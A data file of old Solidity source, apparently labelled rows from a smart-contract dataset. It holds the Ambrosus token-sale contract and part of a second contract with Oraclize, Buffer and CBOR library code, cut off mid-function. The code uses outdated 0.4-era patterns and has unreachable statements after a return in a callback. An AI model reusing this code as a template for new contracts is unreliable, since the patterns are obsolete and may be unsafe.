_;
}
modifier when_liquid {
require (!locked);
_;
}
string constant public name = "Amber Token";
uint8 constant public decimals = 18;
string constant public symbol = "AMB";
bool public locked = true;
uint public phaseStart = 0;
uint public constant PHASE_DURATION = 180 days;
uint public constant UNLOCK_PHASES = 4;
uint public totalSupply;
mapping (address => Account) accounts;
}
contract AmbrosusSale {
function AmbrosusSale() {
tokens = new AmberToken();
}
modifier only_admin { require (msg.sender == ADMINISTRATOR); _; }
modifier only_prepurchaser { require (msg.sender == PREPURCHASER); _; }
modifier is_valid_buyin { require (tx.gasprice <= MAX_BUYIN_GAS_PRICE && msg.value >= MIN_BUYIN_VALUE); _; }
modifier is_under_cap_with(uint buyin) { require (buyin + saleRevenue <= MAX_REVENUE); _; }
modifier only_certified(address who) { require (CERTIFIER.certified(who)); _; }
modifier only_before_period { require (now < BEGIN_TIME); _; }
modifier only_during_period { require (now >= BEGIN_TIME && now < END_TIME && !isPaused); _; }
modifier only_during_paused_period { require (now >= BEGIN_TIME && now < END_TIME && isPaused); _; }
modifier only_after_sale { require (now >= END_TIME || saleRevenue >= MAX_REVENUE); _; }
modifier when_allocations_uninitialised { require (!allocationsInitialised); _; }
modifier when_allocatable_liquid(uint amount) { require (liquidAllocatable >= amount); _; }
modifier when_allocatable_locked(uint amount) { require (lockedAllocatable >= amount); _; }
modifier when_allocations_complete { require (allocationsInitialised && liquidAllocatable == 0 && lockedAllocatable == 0); _; }
event Prepurchased(address indexed recipient, uint etherPaid, uint amberSold);
event Purchased(address indexed recipient, uint amount);
event SpecialPurchased(address indexed recipient, uint etherPaid, uint amberSold);
event Paused();
event Unpaused();
event Allocated(address indexed recipient, uint amount, bool liquid);
function notePrepurchase(address _who, uint _etherPaid, uint _amberSold)
only_prepurchaser
only_before_period
public
{
tokens.mint(_who, _amberSold);
saleRevenue += _etherPaid;
totalSold += _amberSold;
Prepurchased(_who, _etherPaid, _amberSold);
}
function specialPurchase()
only_before_period
is_under_cap_with(msg.value)
payable
public
{
uint256 bought = buyinReturn(msg.sender) * msg.value;
require (bought > 0);
tokens.mint(msg.sender, bought);
TREASURY.transfer(msg.value);
saleRevenue += msg.value;
totalSold += bought;
SpecialPurchased(msg.sender, msg.value, bought);
}
function ()
only_certified(msg.sender)
payable
public
{
processPurchase(msg.sender);
}
function purchaseTo(address _recipient)
only_certified(msg.sender)
payable
public
{
processPurchase(_recipient);
}
function processPurchase(address _recipient)
only_during_period
is_valid_buyin
is_under_cap_with(msg.value)
private
{
tokens.mint(_recipient, msg.value * STANDARD_BUYIN);
TREASURY.transfer(msg.value);
saleRevenue += msg.value;
totalSold += msg.value * STANDARD_BUYIN;
Purchased(_recipient, msg.value);
}
function buyinReturn(address _who)
constant
public
returns (uint)
{
if (
_who == CHINESE_EXCHANGE_1 || _who == CHINESE_EXCHANGE_2 ||
_who == CHINESE_EXCHANGE_3 || _who == CHINESE_EXCHANGE_4
)
return CHINESE_EXCHANGE_BUYIN;
if (_who == BTC_SUISSE_TIER_1)
return STANDARD_BUYIN;
if (_who == BTC_SUISSE_TIER_2)
return TIER_2_BUYIN;
if (_who == BTC_SUISSE_TIER_3)
return TIER_3_BUYIN;
if (_who == BTC_SUISSE_TIER_4)
return TIER_4_BUYIN;
return 0;
}
function pause()
only_admin
only_during_period
public
{
isPaused = true;
Paused();
}
function unpause()
only_admin
only_during_paused_period
public
{
isPaused = false;
Unpaused();
}
function initialiseAllocations()
public
only_after_sale
when_allocations_uninitialised
{
allocationsInitialised = true;
liquidAllocatable = LIQUID_ALLOCATION_PPM * totalSold / SALES_ALLOCATION_PPM;
lockedAllocatable = LOCKED_ALLOCATION_PPM * totalSold / SALES_ALLOCATION_PPM;
}
function allocateLiquid(address _who, uint _value)
only_admin
when_allocatable_liquid(_value)
public
{
tokens.mint(_who, _value);
liquidAllocatable -= _value;
Allocated(_who, _value, true);
}
function allocateLocked(address _who, uint _value)
only_admin
when_allocatable_locked(_value)
public
{
tokens.mintLocked(_who, _value);
lockedAllocatable -= _value;
Allocated(_who, _value, false);
}
function finalise()
when_allocations_complete
public
{
tokens.finalise();
}
uint public constant MIN_BUYIN_VALUE = 1;
uint public constant MAX_BUYIN_GAS_PRICE = 25000000000;
uint public constant MAX_REVENUE = 328103 ether;
uint constant public SALES_ALLOCATION_PPM = 400000;
uint constant public LOCKED_ALLOCATION_PPM = 337000;
uint constant public LIQUID_ALLOCATION_PPM = 263000;
Certifier public constant CERTIFIER = Certifier(0x7b1Ab331546F021A40bd4D09fFb802261CaACcc9);
address public constant ADMINISTRATOR = 0x11bF17B890a80080A8F9C1673D2951296a6F3D91;
address public constant PREPURCHASER = 0x00C269e9D02188E39C9922386De631c6AED5b4d4;
address public constant TREASURY = 0xB47aD434C6e401473F1d3442001Ac69cda1dcFDd;
uint public constant BEGIN_TIME = 1506081600;
uint public constant DURATION = 30 days;
uint public constant END_TIME = BEGIN_TIME + DURATION;
address public constant BTC_SUISSE_TIER_1 = 0x53B3D4f98fcb6f0920096fe1cCCa0E4327Da7a1D;
address public constant BTC_SUISSE_TIER_2 = 0x642fDd12b1Dd27b9E19758F0AefC072dae7Ab996;
address public constant BTC_SUISSE_TIER_3 = 0x64175446A1e3459c3E9D650ec26420BA90060d28;
address public constant BTC_SUISSE_TIER_4 = 0xB17C2f9a057a2640309e41358a22Cf00f8B51626;
address public constant CHINESE_EXCHANGE_1 = 0x36f548fAB37Fcd39cA8725B8fA214fcd784FE0A3;
address public constant CHINESE_EXCHANGE_2 = 0x877Da872D223AB3D073Ab6f9B4bb27540E387C5F;
address public constant CHINESE_EXCHANGE_3 = 0xCcC088ec38A4dbc15Ba269A176883F6ba302eD8d;
address public constant CHINESE_EXCHANGE_4 = 0;
uint public constant STANDARD_BUYIN = 1000;
uint public constant TIER_2_BUYIN = 1111;
uint public constant TIER_3_BUYIN = 1250;
uint public constant TIER_4_BUYIN = 1429;
uint public constant CHINESE_EXCHANGE_BUYIN = 1087;
bool public allocationsInitialised = false;
uint public liquidAllocatable;
uint public lockedAllocatable;
uint public saleRevenue = 0;
uint public totalSold = 0;
AmberToken public tokens;
bool public isPaused = false;
} | 0 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity >= 0.4.22 < 0.5;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
